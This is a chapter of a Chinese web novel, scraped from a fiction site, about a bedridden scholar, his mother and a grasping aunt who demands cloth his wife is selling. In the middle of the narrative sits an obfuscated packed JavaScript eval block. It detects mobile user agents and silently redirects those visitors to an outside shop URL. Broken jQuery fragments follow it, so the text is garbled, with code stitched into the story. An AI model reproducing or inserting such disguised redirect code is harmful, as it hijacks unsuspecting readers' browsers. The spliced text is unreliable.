文趣网 > 都市小说 > 大奸臣的恶毒前妻 > 20. 第 20 章
    然而并不是,来的是大河。不过他也带来了严娇娇的消息。

    “松哥媳妇让我带话,说是明天再回来,她还有些布料没卖完,索性在镇上住一晚。”

    他从身上掏出一个瓷瓶,小心递给袁松:“这是你媳妇给你带的药,千万交代了,让你用温酒送服,酒也带来了,七日服一粒。”

    袁松笑着接过:“辛苦大河哥了。”

    他又问起严娇娇的事情:“大河哥,你刚说她在卖布?”

    大河笑着拍腿,对袁母感慨:“我就说我叔不可能看走眼,松哥媳妇是真有本事,她去县城给你买药,顺道又买了一些夏布来卖,今天镇上都轰动了,她的布便宜,花样也多,好多人都在买呢。”

    “我也给你嫂子和妞妞买了一匹,娇娘只肯收我一半的钱,我都有些不好意思,这不是占了你们便宜。”

    说着他就要掏钱出来:“我兄弟腿没好,家里真是用钱的时候,婶子你可一定要收。”

    袁母也是反应快,一把又把钱塞了回去:“这可不行,大河,想当初你们家也帮过我们不少,我去看大夫都是你垫的钱。”

    说是借的,可最后还不是不肯收。

    袁松也开口道:“大河哥,娇娘怎么做生意,我们实在不好插手,既然她这么卖,你就收着吧。”

    大河没办法,也只能收回,但回去后马上就送了两条鱼过来,也是领了娇娘的情。

    知道娇娘没事,怕是还赚了一笔,袁母也是放下心来,仔细看大河送来的东西。

    除了一坛酒,还有一斤肉,一些骨头,还有两盒糕点,镇上没有这家店,说不定是从县城带来的。

    袁母想了想,把点心收起来:“这个给你岳父岳母送去。”

    这些日子可多亏了小山这孩子,还有……当初要不是因为拿了那么多皮子来,自家早就揭不开锅了,人要会感恩。

    “你以后可要好好孝敬你岳父岳母,别忘了对小山好。”最重要的是,要对娇娘好。

    如今家里家外全靠她支撑,要不是她有本事,能买来这么好的药,要知道,之前家里都揭不开锅了。

    见儿子半天没反应,袁母大声又问了一句:“我说的你听到没有?”

    袁松收回放在瓷瓶上的目光,淡淡地嗯了一声。

    他把瓷瓶放回,心中不是没有感激的,她竟这么轻易就把药给了自己,这让袁松有些意外。

    他以为,她至少要拿这药谈点条件的。

    真的会有一个人,无缘无故不图回报地对另一个人掏心掏肺?

    “娘,你有没有觉得她像变了一个人一样?”袁松幽幽道。

    袁母却摇头:“这不是被日子逼的没办法吗?其实我挺能理解娇娘的,过日子嘛,有男人顶着,她自然就想轻松点,可男人倒下了,她没办法就必须站出来。”

    只要是人,就都会变恶。

    自己的性子不也是变了。

    “以前你爹在,我也是万事不愁的,也没怎么下地干过活,但你爹没了,我们还要过日子,有些事情我也得学着干起来。”

    袁松有些愧疚:“是儿子没用。”

    袁母拍拍儿子的胳膊:“别这么说,若这样计较,也是娘没用。”不能供儿子心无旁骛地读书。

    “老二家的!”

    声到人到,牛氏进了屋,一把掀开东屋的门帘,见到袁松,脸上很有些愤愤不平。

    “松哥,刚好你在,你是个读书人,咱们说道说道,我是不是你亲伯娘,我们是不是一家人,你媳妇怎么竟胳膊肘往外拐,我听说她买来很多布,送给那些无亲无故的村里人,却不肯给自家人,你大伯和我都好几年没添过一件衣裳了,不说你大哥,就是你大妹子,一个姑娘家,整日里穿的破破烂烂的,你们做哥嫂的就忍心?”

    “那么好的布,就这么便宜了别人,你爹在的时候,他们两兄弟是最亲的,打着骨头连着筋,如今我们倒是比不上外人了!”

    说完她一屁股坐在地上,撒起泼来:“老二啊,你睁开眼看看,你没了,你儿子媳妇倒是来说挤兑起自己亲大伯了。”

    “老二啊,你怎么就走了呢,怎么就扔下你兄弟走了呢!你命苦啊,你辛辛苦苦挣下的家业,如今都便宜给了外人!”

    她也不是真要袁母她们的解释,压根就不给他们说话的空荡,嚎一声看一下母子俩的反应,一双绿豆眼精光四射地打量着房间。

    看到角落里放着肉菜还有酒,起了贪婪,但因为没有拿到想要的,自己已经好几年没穿过新衣服了。

    有便宜给外人占,她这个亲伯娘占一点怎么了,就当孝敬了!

    袁松额头的青筋猛跳,脸黑成了炭,可偏偏牛氏就不是个会看人脸色的。

    “你们日子好了,却忘了还有个吃糠咽菜的亲大伯,想当初你爹生病的时候,是谁替你们跑前跑后的,是谁每天三趟来看,你娶亲的时候,谁替你张罗的,你爹没了,又是谁帮你撑着办了丧事。”

    “你们怎么就一点都不记好,出事了你就想到亲大伯了,有好处怎么忘了我们是一家人了,松哥,做人不能这么没良心,是,我让你还钱是过分了,但我之前逼你们还钱了没有,我家也不富裕,我是看你家日子好过了,才提了那么一句,你媳妇气性大,非要给还了钱,怎么?还了钱以前的情就不需要就全还了,像你媳妇说的两清了?亏你还是个读书人呢,书也不知道读到哪里去了?”

    “大嫂,我们不是这个意思……”

    “怎么就不是,我哪里说错了,前些日子,你媳妇一句话,你大伯和大虎二话不说,就把你那两亩地给犁了,忙活到天擦黑才回来,你们家烧肉请客,把邻居都请了,可有记得你大伯,我当时就生了气,你大伯劝我,说一家人,你们这是谢谢外人,家里不富裕,没有请自家人也要体谅,我忍了,但你们给人家送肉,就偏偏不给亲大伯送,这不知道的,还以为我们是做了什么对不起你们的事情,这才让你们恨上了。”

    “老天爷,天地良心,你二叔去了,我们把你这个侄子当亲儿子一样疼,可不能让外人离间了我们一家子亲骨肉啊!”

    袁松脸阴的能滴出水来,太阳穴被她嚎的生疼。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588194|204401||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他手用撑着额头,只觉得脑子里有缺口锯子在生割他的脑仁。

    “大伯娘,她不是外人,她是我的妻子!”袁松眼神地盯着她,像一条要发起攻击的毒蛇一样,瞳孔冰冷。

    牛氏嚎到一半的声音咽了下去,喃喃道:“松哥你说她不是外人,谁知道人家有没有外心,照我说这家就该你娘当,她是长辈,世上万没有略过婆母让媳妇当家的理,你大嫂来我们家好几年了,从来都是听我的话,我要是不发话,她连根葱都不敢给人家……”

    袁松揉着头,只觉得疲惫,要不是看在大伯和大哥的面上,他早就把这个伯母轰出去了。

    她虽然胡搅蛮缠,颠倒黑白,但有几句话没说错,大伯对他爹却是尽心,大虎兄弟对他也实诚。

    袁父临终前,除了担心儿子,就是担忧他这个兄弟,看在自己父亲的面上,袁松才一直忍着牛氏的撒泼。

    可今天,她想要的却是严娇娇的东西,那是他做不了主的地方。

    袁松无奈地叹了一口气,直接挑破了牛氏的来意:“大伯娘闹这么一出,不就是想要布吗?”

    牛氏神情一喜,以为又一次得手了。

    读书人就这点不好,清高,受不了别人耍泼,自家儿子也有这点毛病,以后得好好给他说道说道。

    “不是我想要你们家的布,是想给你大伯,给你大妹子添上一件夏衣,你大妹子眼看到议亲的年纪了,我准备让媒人给她说个好人家,她总要有一件体面点的衣服吧。”

    “别人说出去也不好听,自家嫂子卖布的,小姑子穿的破破烂烂……”

    袁松抬手,打断了她后面的话:“我明白,但大伯娘怕是忘了一件事……”

    他抬头看向牛氏,嘴角勾起,带着淡淡讥讽:“我爹死后,我们家还剩几个大钱您不是一清二楚吗?我腿断了,我娘还去问您借过钱您忘了,这才不到一个多月的时间,您怎么会觉得我突然就家底丰厚起来了?”

    牛氏急起来了:“你媳妇都有钱……”

    袁松淡淡接话:“难道大伯娘没看到我小舅子也在,她的钱都是我岳父岳母给的,这布匹生意也是我小舅子在做,她不过是跑跑腿,挣几个辛苦钱,您要是想给妹妹做件衣裳,你是大伯娘,她自然是本价给您,但您若是要白拿……伯娘,我还真做不了这个主,我如今躺床上跟个废人一样,还要媳妇养,你觉得我有脸提这个事吗?”

    “我小舅子若是一气之下,把她接回娘家去了,那我和我娘可就要去大伯娘家吃饭了,都是一家子骨肉,大伯娘不会不管我们的吧!”

    牛氏还真被他的话唬住了,主要是她也不相信,袁家还有本钱能翻身。

    “你……不就是一匹布吗?难道你连这个主都做不了?”牛氏避开他的话,尤有些不死心。

    袁松看她:“大伯娘,一匹布两钱银子要吧,您要一匹,那我两位姑姑要不要,婆家给了,岳父岳母会不会意见,舅舅舅母会不会有意见,你一匹我一匹,总共她才几匹,大伯娘若真想要,您再等等,等侄儿以后出息了,不用你开口,定然买来送你。”